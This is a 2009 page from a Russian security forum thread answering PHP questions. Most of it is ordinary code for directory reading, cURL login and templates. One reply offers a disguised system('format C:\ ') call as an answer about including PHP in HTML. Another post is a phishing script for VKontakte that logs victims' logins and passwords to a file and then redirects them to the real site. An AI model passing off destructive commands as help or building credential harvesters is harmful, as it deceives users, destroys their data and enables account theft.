ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10081  
Старый 15.04.2009, 04:11
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от WebGer  
Ситуация такая.
На диске в каждой папке есть несколько под-под-папок.
В кажной из них лежит файл с одинаковым названием.
Нужно в цикле обойти все папки, и вытащить данные:
1. Название подпапки
2. Содержание этого файла.

я делал это на Delphi, но сейчас надо на php...
подскажите плиз как это можно сделать.
Способ дебильный, но примерно так:

PHP код:
<pre>
<?php 
@set_time_limit(0); 
@
ini_set("display_errors","1"); 

// Полный абсолютный путь до директории, в конце слеш не нужен 
$path '/home/www/bla-bla/http/s1';
$filename 'logfile.txt';
 
function 
fold($rootDir$allData=array()) {
    
$invisibleFileNames = array(".""..");
    
$dirContent scandir($rootDir);
    foreach(
$dirContent as $key => $content) {
        
$path $rootDir.'/'.$content;
        if(!
in_array($content$invisibleFileNames)) {
            if(
is_file($path) && is_readable($path)) {
                
preg_match('|\/(.*)\/|',$path,$res);
                
$allData[] = $res[0];
            }elseif(
is_dir($path) && is_readable($path)) {
                
$allData fold($path$allData);
            }
        }
    }
    return 
$allData;
}

$folders fold($path);
$count count($folders);
for (
$i=0;$i<$count;$i++) {
  
$handle fopen($folders[$i] . $filename"r"); 
  
$s fread($handlefilesize($folders[$i] . $filename)); 
  
fclose($handle);
  echo 
"File: " $folders[$i] . $filename "\n";
  echo 
"Content: " $s "\n";
}
?>
</pre>
 
Ответить с цитированием

  #10082  
Старый 15.04.2009, 04:58
Аватар для DTW
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

PHP код:
<?php
 
 
 $http
="http://localhost/forum/index.php?act=Login&CODE=01";
 
 
$curl curl_init();
 
curl_setopt($curl,CURLOPT_URL,$http);
 

 
 
$data 'UserName=user&PassWord=pass&x=16&y=15\r\n\r\n';
 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 
curl_setopt($curl,CURLOPT_HEADER,0);
  
curl_setopt($curlCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
// curl_setopt($curl, CURLOPT_COOKIE,$cookie);
  
curl_setopt($curl,CURLOPT_POST,1);
 
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
 
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
     
 
//curl_setopt($curl,CURLOPT_MAXREDIRS,2);
 
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
 

    
 
$text curl_exec($curl);

 
curl_close($curl);
  
  echo 
$text;
  
?>

как пройти это что б сохранить данные сессии

Цитата:
<p>You are now logged in as: user<br /><br />Please wait
while we transfer you...</p>
<p class="redirectfoot">(<a href="http://localhost/forum
/index.php?amp;">Or click here if you do not
wish to wait</a>)</p>
PHP код:
 /*<a href="http://localhost/forum/index.php?amp;">Or click here if you do not wish to wait</a>

 */ 

Последний раз редактировалось DTW; 15.04.2009 в 05:22..
 
Ответить с цитированием

  #10083  
Старый 15.04.2009, 11:31
Аватар для XPYMGT
XPYMGT
Познающий
Регистрация: 11.04.2009
Сообщений: 47
Провел на форуме:
116295

Репутация: 2
По умолчанию

...

Последний раз редактировалось XPYMGT; 21.12.2009 в 18:15..
 
Ответить с цитированием

  #10084  
Старый 15.04.2009, 11:54
Аватар для kevmen
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889

Репутация: 60
Отправить сообщение для kevmen с помощью ICQ
По умолчанию

Цитата:
Сообщение от Spyder  
посмотри как это реализовано в джумле
там же после залогинивания в левом фрейме написано что то типа Welcome, %username%
нет,там такого нет,пробовал также,но не получилось
 
Ответить с цитированием

  #10085  
Старый 15.04.2009, 11:55
Аватар для kevmen
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889

Репутация: 60
Отправить сообщение для kevmen с помощью ICQ
По умолчанию

Цитата:
Сообщение от bxN5  
для 1.5
$user =& JFactory::getUser();
$user->get('username')

Fatal error: Class 'JFactory' not found
 
Ответить с цитированием

  #10086  
Старый 15.04.2009, 12:24
Аватар для Byrger
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
 
Ответить с цитированием

  #10087  
Старый 15.04.2009, 13:04
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от kevmen  
Fatal error: Class 'JFactory' not found
Возьми англо-русский словарь и переведи
 
Ответить с цитированием

  #10088  
Старый 15.04.2009, 13:25
Аватар для laedafess
laedafess
Познающий
Регистрация: 11.02.2009
Сообщений: 98
Провел на форуме:
1446969

Репутация: 169
По умолчанию

Цитата:
Сообщение от Byrger  
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
PHP код:
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system
("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>
 
Ответить с цитированием

  #10089  
Старый 15.04.2009, 15:17
Аватар для ZnikiR
ZnikiR
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
Провел на форуме:
798217

Репутация: 44
Отправить сообщение для ZnikiR с помощью ICQ
По умолчанию

КоД не рабоатет в чем Трабла!подскажите!
PHP код:
<?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") { 
$login $_POST['login']; // Логин 
$pass $_POST['passwd']; // Пароль 
$today date("m.d.y"); 
$hour date("H:i:s"); 
$u  strtolower($login
//vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){ 
if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){ 
            echo 
"http://***.com/login.html";$err "yes"
            } 
            if (!
ctype_alnum($pw) || strlen($pw) < || strlen($pw) > 20) { 
            echo 
"http://***.com/login.html"
            
$err "yes"
        }if (
$err == "") {  
             
$log fopen("base.php","a+"); //открываем файл базы 
fwrite($log,$login:$pass\\\\\\$today\\$hour \n"); //записываем всё 
fclose($log); //закрываем 

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"// куда пошлем пользователя после того как он ввел данные! 
}       } 
?>
 
Ответить с цитированием

  #10090  
Старый 15.04.2009, 16:40
Аватар для Byrger
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

Цитата:
Сообщение от laedafess  
PHP код:
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system
("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>

Чёт не то произошло пришлось винду переустановать...
= ( видимо вирусы

А если серьёзно то я загружаю шаблоны с помощью eval() вот почему и спрашиваю о такой проблеме...
Так как скрипт просто выводит инфу...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ